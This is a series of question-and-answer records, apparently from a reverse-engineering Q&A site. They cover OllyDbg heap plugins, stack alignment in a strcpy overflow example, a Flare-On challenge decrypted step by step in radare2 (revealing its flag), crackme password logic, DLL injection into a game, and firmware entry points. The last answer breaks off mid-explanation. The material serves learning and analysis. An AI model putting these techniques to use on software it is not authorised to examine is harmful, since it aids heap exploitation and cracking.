    There is two ollydbg plugins that can help you to see the heap data.

    \n\n

    1- Heap Vis by Pedram Amini
    \nYou may have noticed the ghosted 'Heap' option under the 'View' menu in OllyDBG. The feature is available only under Windows 95 based OSes and is supposed to display a list of allocated memory blocks. The Olly Heap Vis plug-in was written to provide this functionality and more on all modern Windows OSes such as Windows 2000, XP and 2003. The OllyDbg Heap Vis plug-in exposes the following functionality:

    \n\n
      \n
    • View Heaps
      • \n
    • Search Heaps
      • \n
    • Jump to Heap Chunk
      • \n
    • Create Heap Visualization
      • \n
    \n\n

    \"enter\nhttp://www.openrce.org/downloads/details/1/Heap_Vis

    \n\n

    2- OllyHeapTrace by Stephen Fewer
    \nOllyHeapTrace (Written in 2008) is a plugin for OllyDbg (version 1.10) to trace the heap operations being performed by a process. It will monitor heap allocations and frees for multiple heaps, as well as operations such as creating or destroying heaps and reallocations. All parameters as well as return values are recorded and the trace is highlighted with a unique colour for each heap being traced.

    \n\n

    The primary purpose of this plugin is to aid in the debugging of heap overflows where you wish to be able to control the heap layout to overwrite a specific structure such as a chunk header, critical section structure or some application specific data. By tracing the heap operations performed during actions you can control (for example opening a connection, sending a packet, closing a connection) you can begin to predict the heap operations and thus control the heap layout.

    \n\n

    \"enter\nhttps://github.com/stephenfewer/OllyHeapTrace

    \n" }, { "Id": "17075", "CreationDate": "2017-12-29T18:27:08.897", "Body": "

    Given that function:

    \n\n
    void vuln( char * arg ) {\n    char buf[256];\n    strcpy(buf, arg);\n}\n
    \n\n

    Disassembled in:

    \n\n
           0x0804842b      55             push ebp                                                                                                                                                                                          \n       0x0804842c      89e5           mov ebp, esp                                                                                                                                                                                      \n       0x0804842e      81ec08010000   sub esp, 0x108                                                                                                                                                                                    \n       0x08048434      83ec08         sub esp, 8                                                                                                                                                                                        \n       0x08048437      ff7508         push dword [arg_8h]                                                                                            \n       0x0804843a      8d85f8feffff   lea eax, ebp - 0x108                                                                                                                                                                              \n       0x08048440      50             push eax                                                                                                           \n       0x08048441      e8bafeffff     call sym.imp.strcpy                                                                                             \n       0x08048446      83c410         add esp, 0x10                                                                                                                                                                                     \n       0x08048449      c9             leave                                                                                                                                                                                             \n       0x0804844a      c3             ret             \n
    \n\n

    It overflows when the argument is 264 = 0x108 chars and I was expecting 256 bytes. Why compiler adds 8 bytes with sub esp,8 ?

    \n", "Title": "Stack buffer size is different between C and ASM", "Tags": "|assembly|", "Answer": "
      \n

    • According to the SYS V i386 ABI the stack must be at minimum operating system word aligned prior to execution of the CALL instruction.

      \n\n

      Excerpt from Peter Cordes' answer to Responsiblity of stack alignment in x86 assembly:

      \n\n
      \n

      The i386 System V ABI has guaranteed/required for years that ESP+4 is 16B-aligned on entry to a function. (i.e. ESP must be 16B-aligned before a CALL instruction, so args on the stack start at a 16B boundary. This is the same as for x86-64 System V.)

      \n
      • \n

    • Additionally, GCC aligns the stack to a 16-byte boundary by defualt. To accomplish this, GCC will allocate additional space in an area within a function's stack frame that is considered unrestricted by the ABI:

      \n\n
      \n

      Other areas depend on the compiler and the code being compiled. The standard calling sequence does not define a maximum stack frame size, nor does it restrict how a language system uses the \u2018\u2018unspecified\u2019\u2019 area of the standard stack frame.

      \n
      • \n

    • in the ABI the function return address is considered to be part of the current stack frame:

      • \n
    \n\n

    \"i386

    \n\n

    This is enough information to allow us to determine why the compiler generates code that creates unused space on the stack. Let us examine the code, focusing on instructions that result in stack frame memory allocation:

    \n\n
       0x0804842b      55             push ebp                     ( 1 )                                                                                                                                                                     \n   0x0804842c      89e5           mov ebp, esp                                                                                                                                                                                      \n   0x0804842e      81ec08010000   sub esp, 0x108               ( 2 )                                                                                                                                                                     \n   0x08048434      83ec08         sub esp, 8                   ( 3 )                                                                                                                                                                    \n   0x08048437      ff7508         push dword [arg_8h]          ( 4 )                                                                                  \n   0x0804843a      8d85f8feffff   lea eax, ebp - 0x108                                                                                                                                                                              \n   0x08048440      50             push eax                     ( 5 )                                                                                      \n   0x08048441      e8bafeffff     call sym.imp.strcpy          ( 6 )                                                                                   \n   0x08048446      83c410         add esp, 0x10                                                                                                                                                                                     \n   0x08048449      c9             leave                                                                                                                                                                                             \n   0x0804844a      c3             ret             \n
    \n\n
    \n\n
      \n

    1. We now know that the return address is considered to be part of the current stack frame. i386 machines have 32-bit architecture, so the return address takes up 4 bytes of space and execution of the instruction push ebp will decrement the stack pointer by 4 bytes.

      \n\n
        \n
      • 4 + 4 = 8, so at this point the stack frame is 8 bytes in size.
        • \n
      2. \n

    2. As you noted, this creates 264 bytes of space.

      \n\n
        \n
      • 8 + 264 = 272
        • \n
      3. \n

    3. sub esp, 8 - the specific instruction in question. Creates 8 additional bytes of space on the stack frame.

      \n\n
        \n
      • 272 + 8 = 280
        • \n
      4. \n

    4. As before, push has the effect of adding 4 bytes of space.

      \n\n
        \n
      • 280 + 4 = 284
        • \n
      5. \n

    5. Another push.

      \n\n
        \n
      • 284 + 4 = 288
        • \n
      6. \n

    6. Now it is time for execution of the call instruction. At this point the stack frame is 288 bytes in size. Let us check for alignment to a 16-byte boundary:

      \n\n
        \n
      • 288 % 16 = 0 (thanks RadLexus). The stack frame is correctly aligned.
        • \n
      7. \n
    \n\n

    \nConclusion:

    \n\n

    The compiler uses sub esp, 8 to maintain stack frame alignment to a 16-byte boundary.

    \n\n

    See also:

    \n\n\n" }, { "Id": "17081", "CreationDate": "2017-12-30T16:00:46.757", "Body": "

    i'm reading the solution of an exercise ( keygen me )\nand i found this :

    \n\n

    Load OllyDbg, where EIP is located

    \n\n

    EIP = 0x51BDE1

    \n\n

    What does it means ?? and how can i find this !\nThanks

    \n", "Title": "what means ollydbg EIP location?", "Tags": "|ollydbg|", "Answer": "

    To quote from the \"X86 Assembly book\" in WikiBooks:

    \n\n
    \n

    The EIP (Extended Instruction Pointer) register contains the address\n of the next instruction to be executed if no branching is done.

    \n \n

    EIP can only be read through the stack after a call instruction.

    \n
    \n\n

    In other words, EIP tells the computer where to go next to execute the next command and controls the flow of a program.

    \n\n

    This simple example shows the automatic addition to eip at every step (source):

    \n\n
    eip+1      53                push    ebx\neip+4      8B 54 24 08       mov     edx, [esp+arg_0]\neip+2      31 DB             xor     ebx, ebx\neip+2      89 D3             mov     ebx, edx\neip+3      8D 42 07          lea     eax, [edx+7]\n.....\n
    \n\n
    \n\n

    To spot EIP in OllyDbg you just have to look at the right panel and you'll find where EIP is pointing to.

    \n\n

    \"enter

    \n\n

    So, in your example EIP = 0x51BDE1, thus the address of the next instruction will be 0x51BDE1. From the sentence you quoted, it seems like the writer want you to do something on this address. By default, OllyDbg would show you EIP in the disassembly window so it would be easy to spot it.

    \n" }, { "Id": "17085", "CreationDate": "2017-12-31T04:49:52.417", "Body": "

    I was trying the flare on challenge. When trying the challenge#3 I got into some trouble and could not solve it. After looking into solutions wrote by other I now do know how the program works, but i have confusion in the following line.

    \n\n
    mov     ecx, offset loc_40107C\nadd     ecx, 79h\nmov     eax, offset loc_40107C\nmov     dl, [ebp+buf]\n
    \n\n

    The solution that I am reading states that this instruction is moving the address into the ecx register and is used in combination with eax register to replace some values in that same location. The loop that does this is:

    \n\n
    loc_401039:\nmov     bl, [eax]\nxor     bl, dl\nadd     bl, 22h\nmov     [eax], bl\ninc     eax\ncmp     eax, ecx\njl      short loc_401039\n
    \n\n

    But when i try and enter the location 40107C it seems the location has following instructions:

    \n\n
    icebp\npush    es\nsbb     dword ptr [esi], 1F99C4F0h\nles     edx, [ecx+1D81061Ch]\nout     6, al           ; DMA controller, 8237A-5.\n                        ; channel 3 base address\n                        ; (also sets current address)\nand     dword ptr [edx-11h], 0F2638106h\npush    es\n...\n
    \n\n

    Should not the location be empty or have some other values than assembly instructions since the location is being used for storing value, Or have I misunderstood something here, Can someone please clarify ?

    \n\n

    The solution I was reading : https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge%20%233%20solution.pdf

    \n", "Title": "Flare-ON#3: Problem understanding some parts in the program", "Tags": "|ida|disassembly|assembly|binary-analysis|x86|", "Answer": "
    \n

    Should not the location be empty or have some other values than assembly instructions...?

    \n
    \n\n

    The answer is \"no\". As the author stated in the write-up, this binary is self-modifying:

    \n\n
    \n

    At this stage you may have correctly assumed the sample modifies these\n instructions in order to properly reach 0x401101.
    \n ...
    \n Another indication of self-modifying code is found in the sample\u2019s PE headers.\n The .text section, where the program\u2019s entry point resides, is\n writeable.

    \n
    \n\n

    Any try to disassemble the bytes from 0x40107C to 0x40107C+0x79 will cause with wrong and non-sense assembly instructions. Thus, we should understand the function which manipulated this bytes.

    \n\n

    Understanding the modifying function

    \n\n

    As you noticed already, this is the code which responsible for modifying the bytes in this range:

    \n\n
    loc_401039:\nmov     bl, [eax]\nxor     bl, dl\nadd     bl, 22h\nmov     [eax], bl\ninc     eax\ncmp     eax, ecx\njl      short loc_401039\n
    \n\n

    Let's use pseudo-code to understand how it works:

    \n\n
    start_addr = 0x0x40107c\nend_addr = 0x40107c + 0x79 = 0x4010f5\nkey = 0x??\n\nfor addr in range(start_addr, end_addr+1):\n    # setByte (address, new_value); getByte (address)\n    setByte(addr, (getByte(addr)^key)+0x22)\n
    \n\n

    So, each byte in this range is XOR'd with some key and then 0x22 is added to the result.

    \n\n
    \n\n

    Demonstrating

    \n\n

    Spoiler Alert!
    \nThe next part contains spoilers regarding the answer

    \n\n

    The write-up you attached contains a solution for the right key that you should use in the XOR operation to modify the bytes. I'll use this key in the following example.

    \n\n

    The key is (hover to see it):

    \n\n
    \n

    0xa2

    \n
    \n\n

    Let's try to decrypt this bytes by ourselves. I'll use radare2 for this but you can use any other solution you'd like to.

    \n\n

    First, let's make a copy of this challenge since we are going to edit the binary:

    \n\n
    $ cp greek_to_me.exe modified_greek_to_me.exe\n
    \n\n

    And now open the binary with radare2 in write-mode:

    \n\n
    $ r2 -w modified_greek_to_me.exe\n[0x00401000]>\n
    \n\n

    Let's seek to 0x40107c and see how it looks like before we modify the bytes there:

    \n\n
    [0x00401000]> s 0x40107c\n[0x0040107c]> pd 10\n            0x0040107c      33e1           xor esp, ecx\n            0x0040107e      c49911068116   les ebx, [ecx + 0x16810611]\n            0x00401084      f0             invalid\n            0x00401085      329fc4911706   xor bl, byte [edi + 0x61791c4]\n            0x0040108b      8114f0068115.  adc dword [eax + esi*8], 0xf1158106\n            0x00401092      c4911a06811b   les edx, [ecx + 0x1b81061a]\n        \u256d\u2500< 0x00401098      e206           loop 0x4010a0\n        \u2502   0x0040109a      8118f2068119   sbb dword [eax], 0x198106f2\n        \u2570\u2500> 0x004010a0      f1             int1\n            0x004010a1      06             push es\n
    \n\n

    I printed 10 op-codes in this address. As you can see, the instructions make no sense because in their current state they should not be disassembled.

    \n\n

    This is how the 0x79 bytes from this address look like in hex:

    \n\n
    [0x0040107c]> px 0x79\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x0040107c  33e1 c499 1106 8116 f032 9fc4 9117 0681  3........2......\n0x0040108c  14f0 0681 15f1 c491 1a06 811b e206 8118  ................\n0x0040109c  f206 8119 f106 811e f0c4 991f c491 1c06  ................\n0x004010ac  811d e606 8162 ef06 8163 f206 8160 e3c4  .....b...c...`..\n0x004010bc  9961 0681 66bc 0681 67e6 0681 64e8 0681  .a..f...g...d...\n0x004010cc  659d 0681 6af2 c499 6b06 8168 a906 8169  e...j...k..h...i\n0x004010dc  ef06 816e ee06 816f ae06 816c e306 816d  ...n...o.\n
    \n\n

    Now we want to XOR 0x79 bytes from 0x40107c and then add 0x22 to each byte. We can easily do it using radare2.

    \n\n

    First, we should define the block size that we want to manipulate, in our case it's 0x79:

    \n\n
    [0x0040107c]> b?\n|Usage: b[f] [arg]\nGet/Set block size\n| b        display current block size\n| b 33     set block size to 33\n...\n...\n[0x0040107c]> b 0x79\n
    \n\n

    Adding ? to radare2 command will show help about the command and its subcommands

    \n\n

    Now, let's XOR the bytes from 0x40107c to 0x40107c + block_size and then add 0x22 to each one of them:

    \n\n
    [0x0040107c]> wo?\n|Usage: wo[asmdxoArl24] [hexpairs] @ addr[!bsize]\n...\n| woa [val]                     +=  addition (f.ex: woa 0102)\n...\n| wox [val]                     ^=  xor  (f.ex: wox 0x90)\n[0x0040107c]> wox 0xa2\n[0x0040107c]> woa 0x22\n
    \n\n

    And now our bytes are modified. Let's see how they look like in hex-mode:

    \n\n
    [0x0040107c]> px 0x79\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x0040107c  b365 885d d5c6 45d6 74b2 5f88 55d7 c645  .e.]..E.t._.U..E\n0x0040108c  d874 c645 d975 8855 dac6 45db 62c6 45dc  .t.E.u.U..E.b.E.\n0x0040109c  72c6 45dd 75c6 45de 7488 5ddf 8855 e0c6  r.E.u.E.t.]..U..\n0x004010ac  45e1 66c6 45e2 6fc6 45e3 72c6 45e4 6388  E.f.E.o.E.r.E.c.\n0x004010bc  5de5 c645 e640 c645 e766 c645 e86c c645  ]..E.@.E.f.E.l.E\n0x004010cc  e961 c645 ea72 885d ebc6 45ec 2dc6 45ed  .a.E.r.]..E.-.E.\n0x004010dc  6fc6 45ee 6ec6 45ef 2ec6 45f0 63c6 45f1  o.E.n.E...E.c.E.\n0x004010ec  6fc6 45f2 6dc6 45f3 00                   o.E.m.E..\n
    \n\n

    And let's disassemble it and see if now the assembly makes any sense:

    \n\n
    [0x0040107c]> pD 0x79\n            0x0040107c      b365           mov bl, 0x65                ; 'e' ; 101\n            0x0040107e      885dd5         mov byte [ebp - 0x2b], bl\n            0x00401081      c645d674       mov byte [ebp - 0x2a], 0x74 ; 't' ; 116\n            0x00401085      b25f           mov dl, 0x5f                ; '_' ; 95\n            0x00401087      8855d7         mov byte [ebp - 0x29], dl\n            0x0040108a      c645d874       mov byte [ebp - 0x28], 0x74 ; 't' ; 116\n            0x0040108e      c645d975       mov byte [ebp - 0x27], 0x75 ; 'u' ; 117\n            0x00401092      8855da         mov byte [ebp - 0x26], dl\n            0x00401095      c645db62       mov byte [ebp - 0x25], 0x62 ; 'b' ; 98\n            0x00401099      c645dc72       mov byte [ebp - 0x24], 0x72 ; 'r' ; 114\n            0x0040109d      c645dd75       mov byte [ebp - 0x23], 0x75 ; 'u' ; 117\n            0x004010a1      c645de74       mov byte [ebp - 0x22], 0x74 ; 't' ; 116\n            0x004010a5      885ddf         mov byte [ebp - 0x21], bl\n            0x004010a8      8855e0         mov byte [ebp - 0x20], dl\n            0x004010ab      c645e166       mov byte [ebp - 0x1f], 0x66 ; 'f' ; 102\n            0x004010af      c645e26f       mov byte [ebp - 0x1e], 0x6f ; 'o' ; 111\n            0x004010b3      c645e372       mov byte [ebp - 0x1d], 0x72 ; 'r' ; 114\n            0x004010b7      c645e463       mov byte [ebp - 0x1c], 0x63 ; 'c' ; 99\n            0x004010bb      885de5         mov byte [ebp - 0x1b], bl\n            0x004010be      c645e640       mov byte [ebp - 0x1a], 0x40 ; '@' ; 64\n            0x004010c2      c645e766       mov byte [ebp - 0x19], 0x66 ; 'f' ; 102\n            0x004010c6      c645e86c       mov byte [ebp - 0x18], 0x6c ; 'l' ; 108\n            0x004010ca      c645e961       mov byte [ebp - 0x17], 0x61 ; 'a' ; 97\n            0x004010ce      c645ea72       mov byte [ebp - 0x16], 0x72 ; 'r' ; 114\n            0x004010d2      885deb         mov byte [ebp - 0x15], bl\n            0x004010d5      c645ec2d       mov byte [ebp - 0x14], 0x2d ; '-' ; 45\n            0x004010d9      c645ed6f       mov byte [ebp - 0x13], 0x6f ; 'o' ; 111\n            0x004010dd      c645ee6e       mov byte [ebp - 0x12], 0x6e ; 'n' ; 110\n            0x004010e1      c645ef2e       mov byte [ebp - 0x11], 0x2e ; '.' ; 46\n            0x004010e5      c645f063       mov byte [ebp - 0x10], 0x63 ; 'c' ; 99\n            0x004010e9      c645f16f       mov byte [ebp - 0xf], 0x6f  ; 'o' ; 111\n            0x004010ed      c645f26d       mov byte [ebp - 0xe], 0x6d  ; 'm' ; 109\n            0x004010f1      c645f300       mov byte [ebp - 0xd], 0\n
    \n\n

    Indeed, now we are able to see all these mov instructions which build the flag :)

    \n" }, { "Id": "17092", "CreationDate": "2018-01-01T17:06:36.890", "Body": "

    I'm trying to find the function which is animating a bot ingame (singleplayer). I already figured out the animation state value with Cheat Engine. Freezing that value lets the bot repeat the animation over and over again. Changing that value to the \"jump\"-value, the bot is jumping. So I guess, I'm already at the right location. Looking at this value by \"find out what writes to this address\" gets me into a small function (see image below) where some comparisons are done and the animation state value is set. I'm not very good at reversing, that's why I tried understanding the commands by putting some comments to the disassembly.

    \n\n

    Image of the function with my comments:\n\"enter

    \n\n

    There are still some commands I'm not understanding right now. I want to call that function later from a DLL injection to play the animations by myself. So how do I know if I'm really in the right function? How do I get the right parameter values?

    \n\n

    If I'm changing the jl to jnl command at line 0x232C3 the game stops playing any animation for the bot. Please help me, I don't know how to continue.

    \n", "Title": "Help with animation function", "Tags": "|disassemblers|functions|", "Answer": "

    How about you breakpoint the function start and take a look at the call stack.\nThis way you can easily find out the calling convention and used arguments.

    \n\n

    All in all, this function looks like it's mainly looking up an array and then loading/writing some floating point values where the third parameter is an index.\nThe first conditional checks if that index is >= 0, the second one let's me assume that [eax@2] is the length of the array;\nexpressed with the parameters only this would be: [[param1+0x1C]+0x0].

    \n\n

    ebp-0C is some kind of structure, whose second member (assuming dword-sized members) is treated as the base of an array (see line above outlined one).

    \n\n

    If edx is the third parameter now, that means that it's an index into an array which holds all the animation states. Therefore the floating point stuff seems k inda uninteresting.

    \n" }, { "Id": "17095", "CreationDate": "2018-01-02T02:07:17.467", "Body": "

    I'm new to reverse engineering. Can you give an example of a crackme to do \"non-hardcoded\" key fishing and how to log the x86 registers to spot the generated key?

    \n", "Title": "Example of key fishing with OllyDbg logging?", "Tags": "|ollydbg|x86|crackme|register|", "Answer": "

    It doesn't work like that, unfortunately. I'm going to be drastically oversimplifying the topic, but the 10,000-foot view is that you have two ways to reverse engineer:

    \n\n

    Static Analysis: Studying a binary without running it. Programs like IDA can be used to disassemble a binary to automagically lay bare what it can of the binary's workings. This does A LOT for you if you know what you're looking at. Otherwise, prepare to be 100% overwhelmed. There's an amazing introduction to IDA on YouTube that you can watch here.

    \n\n

    Dynamic Analysis: Studying the behavior of a binary while it's executing. This is when you use debuggers like OllyDbg, x64dbg, WinDbg, Cheat Engine, etc.

    \n\n

    There are really complex things you can do via other applications/plugins/libraries/frameworks, but you tend to discover those during threads of research. There's likely a plugin or something out there for Olly that will profusely log events/tracing, but the reason what you're interested in won't really work is the amount of data you'd be logging would be insane. You'd still have to search through it all to make sense of everything. Consider there are registers, memory, on-disk, and off-site (which gets you into network protocol land).

    \n\n

    For what you're interested in, there's a really, really good video tutorial that uses OllyDbg and IDA to reverse a crackme (video here). For a different approach for the same crackme via dynamic analysis, (here is a video) where I use Cheat Engine, which is an unorthodox tool for the job but that I think a beginner such as yourself would learn a lot from (there's memory scanning, patching, writing custom Assembly and creating a script, etc.). Full disclosure: the tutorial using Cheat Engine is from me.

    \n\n

    You have a lot of learning ahead of you, but try to enjoy the ride!

    \n" }, { "Id": "17096", "CreationDate": "2018-01-02T06:34:40.583", "Body": "

    So this may be a weird question. I'm working with a windows 32-bit executable in IDA that was originally programmed in C/C++ (Mostly likely with Visual Studio .NET 2002). For the virtual function calls, the ABI uses __thiscall, so the callee cleans the stack, and IDA needs to know how many arguments the function takes to account for that in the caller.

    \n\n

    The problem is that virtual function calls are done in a way that makes it difficult for IDA to figure out the called function. An example of what the call might look like is this (in Intel syntax, which IDA uses):

    \n\n
    mov eax, [ecx]\ncall dword ptr [eax+4]\n
    \n\n

    with ecx being set to this by the caller. Since there's no easy way to know what dword ptr [eax+4] is referring to, it guesses how many arguments it takes by the variables pushed before the call. The problem is that it often grabs too many push instructions, and keeps including saved registers. This causes it to assume that the function exits with an incorrect stack pointer, and messes up the stack variable references below the call.

    \n\n

    I want to tell IDA what the stack change in the call should be to correct this problem, but I can't seem to find the option anywhere. Is this possible? I can't seem to figure this out.

    \n", "Title": "IDA makes an incorrect guess about how a virtual function affects the stack. How can I correct/override it?", "Tags": "|ida|stack|virtual-functions|", "Answer": "

    You can use Alt-K shortcut to fix the stack pointer. \nIts documentation is here.

    \n" }, { "Id": "17099", "CreationDate": "2018-01-02T13:51:12.517", "Body": "

    I'm trying to disassemble a firmware for a DIY project, open hardware but closed firmware.\nMy question is how to initialize the disassembler properly (Hopper Disassembler).

    \n\n

    The values I try to figure out are the ones shown here:

    \n\n

    \"Hopper

    \n\n

    From what I know, the processor is a STM32F100C8, ARM Cortex-M3, 64Kbytes Flash, 8Kbytes RAM. The BOOT0 pin is tied low, so I know it's booting from main flash memory:

    \n\n
    \n

    Boot from main Flash memory: the main Flash memory is aliased in the\n boot memory space (0x0000 0000), but still accessible from its\n original memory space (0x800 0000). In other words, the Flash memory\n contents can be accessed starting from address 0x0000 0000 or 0x800\n 0000.

    \n
    \n\n

    The startup sequence is as follows:

    \n\n
    \n

    The CPU fetches the top-of-stack value from address 0x0000 0000,\n then starts code execution from the boot memory starting from 0x0000\n 0004

    \n
    \n\n

    I converted the .hex file to a .bin file using arm-none-eabi-objcopy and found:

    \n\n
    0x0000 0000  |  10050020 (Stack pointer) \n0x0000 0004  |  05A90008 (ResetHandler)\n
    \n\n

    What I don't understand are the memory addresses.

    \n\n

    The stack pointer is too large to be a relative offset (only 8K RAM) and too small to point into SRAM (starting at 0x2000 0000).

    \n\n

    The reset handler is also too large to be a relative offset (only 64k flash) and too small to point to main flash memory (starting at 0x800 0000).

    \n\n

    How do I figure out the proper base address and entry point?

    \n\n

    PS: The schematics and firmware for the DIY project can be found here

    \n", "Title": "Entry point for STM32 firmware", "Tags": "|firmware|arm|hopper|entry-point|", "Answer": "

    The values are in little-endian I believe so the stack pointer is at 0x20000510 and the reset vector is 0x0800a905.

    \n" }, { "Id": "17103", "CreationDate": "2018-01-02T23:14:45.873", "Body": "

    Looking this snippet of code I can't figure out where is stored the return value of the scanf() function.

    \n\n

    EDIT:

    \n\n

    From man page, scanf() return an int value representing the number of input items successfully matched and assigned.

    \n\n

    I was expecting 0x04 in the EAX register (user input = AAAA) but after returning from scanf(), EAX = 0x00000000:

    \n\n
           0x080483e4      55             push ebp\n       0x080483e5      89e5           mov ebp, esp\n       0x080483e7      83ec18         sub esp, 0x18\n       0x080483ea      83e4f0         and esp, 0xfffffff0\n       0x080483ed      b800000000     mov eax, 0\n       0x080483f2      83c00f         add eax, 0xf\n       0x080483f5      83c00f         add eax, 0xf\n       0x080483f8      c1e804         shr eax, 4\n       0x080483fb      c1e004         shl eax, 4\n       0x080483fe      29c4           sub esp, eax\n       0x08048400      c70424488504.  mov dword [esp], str.IOLI_Crackme_Level_0x02 ; [0x8048548:4]=0x494c4f49 ; \"IOLI Crackme Level 0x02\\n\"\n       0x08048407      e810ffffff     call sym.imp.printf         ; int printf(const char *format)\n       0x0804840c      c70424618504.  mov dword [esp], str.Password: ; [0x8048561:4]=0x73736150 ; \"Password: \" ; const char * format\n       0x08048413      e804ffffff     call sym.imp.printf         ; int printf(const char *format)\n       0x08048418      8d45fc         lea eax, ebp - 4\n       0x0804841b      89442404       mov dword [local_4h_2], eax\n       0x0804841f      c704246c8504.  mov dword [esp], 0x804856c  ; [0x804856c:4]=0x50006425 ; const char * format\n       ;-- eip:\n       0x08048426 b    e8e1feffff     call sym.imp.scanf          ; int scanf(const char *format)\n       0x0804842b      c745f85a0000.  mov dword [local_8h], 0x5a  ; 'Z' ; 90\n       0x08048432      c745f4ec0100.  mov dword [local_ch], 0x1ec ; 492\n       0x08048439      8b55f4         mov edx, dword [local_ch]\n       0x0804843c      8d45f8         lea eax, ebp - 8\n       0x0804843f      0110           add dword [eax], edx\n       0x08048441      8b45f8         mov eax, dword [local_8h]\n       0x08048444      0faf45f8       imul eax, dword [local_8h]\n       0x08048448      8945f4         mov dword [local_ch], eax\n       0x0804844b      8b45fc         mov eax, dword [local_4h]\n       0x0804844e      3b45f4         cmp eax, dword [local_ch]\n   \u250c\u2500< 0x08048451      750e           jne 0x8048461\n   \u2502   0x08048453      c704246f8504.  mov dword [esp], str.Password_OK_: ; [0x804856f:4]=0x73736150 ; \"Password OK :)\\n\" ; const char * format\n   \u2502   0x0804845a      e8bdfeffff     call sym.imp.printf         ; int printf(const char *format)\n  \u250c\u2500\u2500< 0x0804845f      eb0c           jmp 0x804846d\n  \u2502\u2514\u2500> 0x08048461      c704247f8504.  mov dword [esp], str.Invalid_Password ; [0x804857f:4]=0x61766e49 ; \"Invalid Password!\\n\" ; const char * format\n  \u2502    0x08048468      e8affeffff     call sym.imp.printf         ; int printf(const char *format)\n  \u2502       ; JMP XREF from 0x0804845f (main)\n  \u2514\u2500\u2500> 0x0804846d      b800000000     mov eax, 0\n       0x08048472      c9             leave\n       0x08048473      c3             ret\n
    \n\n

    Also, I cannot find any reference to the user input (from the previous scanf() call). I think it's in local_4h because it's compared with the flag value (0x00052b24) stored in local_ch.

    \n\n
     var local_4h = 0xffa46fd4  0xf7f66000  ... @eax edi\n var local_8h = 0xffa46fd0  0x00000001  .... esi\n var local_ch = 0xffa46fcc  0x00000000  .... ecx\n
    \n\n

    But, I cannot understand how.

    \n\n

    For more info, this is the stack right before the scanf() call:

    \n\n
    - offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0xffa46fb0  6c85 0408 d46f a4ff 0000 0000 fbb4 ddf7  l....o..........\n0xffa46fc0  dc63 f6f7 f481 0408 0c9f 0408 0000 0000  .c..............\n0xffa46fd0  0100 0000 0060 f6f7 0000 0000 5644 dcf7  .....`......VD..\n
    \n\n

    And registers:

    \n\n
     eax = 0xffa46fd4\n ebx = 0x00000000\n ecx = 0x00000000\n edx = 0xf7f67870\n esi = 0x00000001\n edi = 0xf7f66000\n esp = 0xffa46fb0\n ebp = 0xffa46fd8\n eip = 0x08048426\n eflags = 0x00000286\n oeax = 0xffffffff\n
    \n", "Title": "scanf return value", "Tags": "|disassembly|assembly|x86|", "Answer": "

    Thanks to sudhackar comment i was able to understand scanf():

    \n\n

    mov dword [esp], 0x804856c

    \n\n

    pushes the format string on the stack:

    \n\n
    :> px @ 0x804856c\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  0123456789ABCD\n0x0804856c  2564 0050 6173 7377 6f72 6420 4f4b  %d.Password OK\n0x0804857a  203a 290a 0049 6e76 616c 6964 2050   :)..Invalid P\n0x08048588  6173 7377 6f72 6421 0a00 0000 0000  assword!......\n
    \n\n

    It's a %d so it references a decimal variable. After user input (in this case password was a number 23), local variable at ebp-0x04 contains its value:

    \n\n
    :> afvd\nvar local_4h = 0xffe6cf34  0x00000017  ....\nvar local_8h = 0xffe6cf30  0x00000001  .... eax\nvar local_ch = 0xffe6cf2c  0x00000000  .... ecx\n
    \n\n

    Infact:

    \n\n

    0x17=23

    \n\n

    What differs from before is that previous password was AAAA, not a decimal number: scanf() was unable to match variables and returned nothing.

    \n\n

    I have only a last small doubt: comparing disassembled code between radare2 and objdump I found a small difference but I think it's pretty important though:

    \n\n

    from radare2:

    \n\n
       0x08048418      8d45fc         lea eax, ebp - 4\n   0x0804841b      89442404       mov dword [local_4h_2], eax\n   0x0804841f      c704246c8504.  mov dword [esp], 0x804856c  \n   0x08048426 b    e8e1feffff     call sym.imp.scanf\n
    \n\n

    from objdump:

    \n\n
       8048418: 8d 45 fc                lea    eax,[ebp-0x4]\n   804841b: 89 44 24 04             mov    DWORD PTR [esp+0x4],eax\n   804841f: c7 04 24 6c 85 04 08    mov    DWORD PTR [esp],0x804856c\n
    \n\n

    Is there any reason for that difference in instruction at 0x08048418 ?

    \n" }, { "Id": "17109", "CreationDate": "2018-01-04T06:44:29.720", "Body": "

    I was just wondering what exactly causes a function without a prologue/epilogue to be generated? If a program is compiled with just stdcall/cdecl convention, why is it that there are some calls which lead to a subroutine that doesn't have the typical push ebp -> mov ebp,esp. Are these just sanity checks generated by the compiler? Are these subroutines important? Or is that impossible to say without actually analysing it? For example, would a compiler produce a call to a subroutine which moves one value into eax and then returns or would that be the programmer changing the binary of the executable?

    \n", "Title": "Functions without a prologue and epilogue?", "Tags": "|functions|", "Answer": "

    The prologue and epilogue are not required by the CPU to execute functions, so most compilers only generate them when necessary, or optimization is not enabled. In particular, leaf functions (those that don't call other functions) do not usually need a prolog (unless required by the ABI) and the compiler may safely omit it.

    \n" }, { "Id": "17119", "CreationDate": "2018-01-04T22:19:29.430", "Body": "

    Is it possible to change the value of a local var within Radare2? I'm practicing with ESIL feature and now I want to set the value of local variable userInput:

    \n\n
    [0x080484e6]> afvd\nvar userInput = 0x00177ffc  0x00000000  .... eflags\nvar var1 = 0x00177ff8  0x00000246  F...\nvar var2 = 0x00177ff4  0x00052b24  $+.. \n
    \n\n

    I wasn't able to catch this information from the documentation. Eventually, is it possible do the same thing while debugging the binary (-d)?

    \n", "Title": "Radare2 set local variable", "Tags": "|radare2|", "Answer": "

    Sadly there's no such feature in radare2 yet.

    \n\n

    Remember, though, that at the end these variables are data that you can manipulate by manually editing them. Thus, you can modify their value (with some restrictions of course) to meet your needs.

    \n\n

    For example, let's see the result of afvd in some random function of a binary:

    \n\n
    [0x00400637]> afvd\nvar local_10h = 0x7ffffa0c1870  0x00007ffffa0c1960   `....... r13 stack R W 0x1 -->  rdi\n
    \n\n

    We have only one variable, local_10h which is located at rbp - 0x10:

    \n\n
    [0x00400637]> afvd local_10h\npxr $w @rbp-0x10\n
    \n\n

    Now, let's modify rbp-0x10 to be \"ABCD\":

    \n\n
